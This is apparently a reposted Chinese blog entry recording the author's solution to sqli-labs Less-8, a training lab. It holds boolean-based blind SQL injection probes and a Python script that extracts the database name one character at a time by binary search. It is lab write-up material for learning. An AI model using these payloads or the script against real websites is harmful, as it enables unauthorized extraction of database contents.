当前位置: 首页 > news >正文

sqli-labs学习记录8

less-8

打开靶场。
在这里插入图片描述
输入id=1得到了和前面一样的回显。
通过尝试前面的闭合方式,是’))的闭合方式。
我们输入id=1’)).
在这里插入图片描述
发现没有报错回显。
这关发现回显就2种方式,一种是有字符回显,一种是啥都没,那根据这样的回显方式我们可以使用布尔盲注的方法。
我们可以通过不断改变范围来查看页面的回显,这样我们最后就可以确定一个值,这样循环操作得到最后的结果。
比如我们可以用length函数和二分法来确定数据库的长度。

?id=1’ and (select length(database())>1) and 1=1 --+
在这里插入图片描述
正常回显。
我们尝试输入
?id=1’ and (select length(database()>8)) and 1=1 --+
在这里插入图片描述
显示无回显,下面我们输入
?id=1’ and (select length(database()>7)) and 1=1 --+
在这里插入图片描述
回显正常,再和前面的作比较,我们>8是无回显,>7有回显,说明就剩8是正确的了。通过这种方法我们就确定了数据库名的长度,也可以通过可以再利用ascii函数+substr函数来修改字符串的范围,判断数据库的各个字符的ASCII的值,来转换为最后的数据库名称。
那么根据这种方法,我们可以写一个py脚本来帮助我们解决这些循环的操作。

import requests

url = "..."


def inject_database(url):
    name = ''

    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url, params=params)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

在这里插入图片描述
可以看到通过上面的脚本就可以轻松的通过布尔盲注的方式来解决。
查询数据库里的表与字段也可以通过写脚本的方式来执行。这里就不做阐述了。

http://www.dtcms.com/a/99916.html

相关文章:

  • Spring 项目中跨数据源(多数据源)调用时 @DS 注解失效或不生效
  • Nginx RTMP 接收模块分析 (ngx_rtmp_receive.c)
  • 【数学建模】(智能优化算法)元胞自动机在数学建模中的应用
  • 第十四节 MATLAB决策制定、MATLAB if 语句语法
  • MATLAB 控制系统设计与仿真 - 30
  • Java简单生成pdf
  • 在Wincc中使用Dapper读写数据库
  • Go/Python(Nuitka)/Rust/Zig 技术对比
  • 记一次关于云的渗透过程
  • Git配置
  • C# 的Lambda表达式‌常见用法和示例
  • C++中常见符合RAII思想的设计有哪些
  • c++使用iconv进行字符编码格式转换
  • 小红书多账号运营:如何实现每个账号独立 IP发布文章
  • ubuntu 安装 postgresql
  • Dubbo(23)如何配置Dubbo的服务消费者?
  • 蓝桥杯_DS18B20温度传感器
  • 【Java】Java核心知识点与相应面试技巧(六)——类与对象(一)
  • 什么是CMS?常用CMS有哪些?
  • Oracle数据库数据编程SQL<2.3 DML增、删、改及merge into>
  • 【学Rust写CAD】15 定点数实现(fixed.rs)
  • CSS中的em,rem,vm,vh详解
  • PipeWire 音频设计与实现分析一——介绍
  • C# 字符串(String)
  • 前端路由守卫与后端权限验证,仅使用路由守卫是否安全?
  • docker日志大小和保存管理
  • 常用的排序算法
  • 浅析Android Jetpack ACC之ViewModel
  • vector之内存分配详解
  • 23 种设计模式中的迭代器模式